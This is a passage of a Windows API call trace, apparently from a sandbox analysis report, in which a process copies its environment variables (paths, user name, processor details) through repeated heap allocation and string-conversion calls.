RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x14) returned 0x72aca8 [0088.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x72aca8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0088.819] GetLastError () returned 0x0 [0088.819] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x7588a8, Size=0x24) returned 0x3088e40 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0088.820] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xd) returned 0x3051480 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x3051480, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0088.820] GetLastError () returned 0x0 [0088.820] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3088e40, Size=0x28) returned 0x3088e10 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0088.820] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x25) returned 0x3088e40 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3088e40, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0088.820] GetLastError () returned 0x0 [0088.820] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3088e10, Size=0x2c) returned 0x3044270 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0088.820] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x39) returned 0x305ee10 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x305ee10, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0088.820] GetLastError () returned 0x0 [0088.820] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3044270, Size=0x30) returned 0x3044548 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0088.820] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x302eae8 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x302eae8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0088.820] GetLastError () returned 0x0 [0088.820] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3044548, Size=0x34) returned 0x307ee20 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0088.820] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x17) returned 0x302eb28 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x302eb28, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0088.820] GetLastError () returned 0x0 [0088.820] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x307ee20, Size=0x38) returned 0x307ee60 [0088.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0088.820] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe) returned 0x3051450 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x3051450, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0088.821] GetLastError () returned 0x0 [0088.821] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x307ee60, Size=0x3c) returned 0x305ee58 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0088.821] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x69) returned 0x3045ad8 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x3045ad8, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0088.821] GetLastError () returned 0x0 [0088.821] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x305ee58, Size=0x40) returned 0x305eea0 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0088.821] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3e) returned 0x305ee58 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x305ee58, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0088.821] GetLastError () returned 0x0 [0088.821] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x305eea0, Size=0x44) returned 0x30894c0 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0088.821] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b) returned 0x7588a8 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x7588a8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0088.821] GetLastError () returned 0x0 [0088.821] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x30894c0, Size=0x48) returned 0x3089510 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0088.821] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1d) returned 0x7588d0 [0088.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x7588d0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0088.821] GetLastError () returned 0x0 [0088.822] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3089510, Size=0x4c) returned 0x3050040 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0088.822] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x48) returned 0x3089510 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x3089510, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0088.822] GetLastError () returned 0x0 [0088.822] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3050040, Size=0x50) returned 0x3050098 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0088.822] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x12) returned 0x302e968 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x302e968, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0088.822] GetLastError () returned 0x0 [0088.822] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3050098, Size=0x54) returned 0x306c268 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0088.822] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x302e9a8 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x302e9a8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0088.822] GetLastError () returned 0x0 [0088.822] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x306c268, Size=0x58) returned 0x306c2c8 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0088.822] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b) returned 0x758b00 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x758b00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0088.822] GetLastError () returned 0x0 [0088.822] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x306c2c8, Size=0x5c) returned 0x2fd1650 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0088.822] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x24) returned 0x3088e10 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x3088e10, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0088.822] GetLastError () returned 0x0 [0088.822] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x2fd1650, Size=0x60) returned 0x2fd1720 [0088.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0088.822] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x29) returned 0x3044548 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x3044548, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0088.823] GetLastError () returned 0x0 [0088.823] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x2fd1720, Size=0x64) returned 0x2fc41a8 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0088.823] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x7369d8 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x7369d8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0088.823] GetLastError () returned 0x0 [0088.823] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x2fc41a8, Size=0x68) returned 0x2fc4288 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0088.823] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x41) returned 0x30894c0 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x30894c0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0088.823] GetLastError () returned 0x0 [0088.823] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x2fc4288, Size=0x6c) returned 0x3045cb8 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0088.823] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x17) returned 0x302ec48 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x302ec48, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0088.823] GetLastError () returned 0x0 [0088.823] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3045cb8, Size=0x70) returned 0x3064810 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0088.823] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xf) returned 0x3051498 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x3051498, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0088.823] GetLastError () returned 0x0 [0088.823] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3064810, Size=0x74) returned 0x763c70 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0088.823] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x16) returned 0x302ec08 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x302ec08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0088.823] GetLastError () returned 0x0 [0088.823] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x763c70, Size=0x78) returned 0x763cf0 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0088.823] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2a) returned 0x3044270 [0088.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x3044270, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0088.824] GetLastError () returned 0x0 [0088.824] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x763cf0, Size=0x7c) returned 0x755540 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0088.824] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x29) returned 0x30444d8 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x30444d8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0088.824] GetLastError () returned 0x0 [0088.824] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x755540, Size=0x80) returned 0x756068 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0088.824] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x15) returned 0x302ec28 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x302ec28, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0088.824] GetLastError () returned 0x0 [0088.824] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x756068, Size=0x84) returned 0x7662a0 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0088.824] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x7368e8 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x7368e8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0088.824] GetLastError () returned 0x0 [0088.824] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x7662a0, Size=0x88) returned 0x766690 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0088.824] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2a) returned 0x3044580 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3044580, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0088.824] GetLastError () returned 0x0 [0088.824] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x766690, Size=0x8c) returned 0x2fd3398 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0088.824] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x12) returned 0x302ee28 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x302ee28, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0088.824] GetLastError () returned 0x0 [0088.824] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x2fd3398, Size=0x90) returned 0x2fd3398 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0088.824] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x302ede8 [0088.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x302ede8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0088.824] GetLastError () returned 0x0 [0088.824] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x2fd3398, Size=0x94) returned 0x3031178 [0088.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0088.825] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x46) returned 0x3089560 [0088.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x3089560, cbMultiByte=70, lpDefaultChar=0x0, 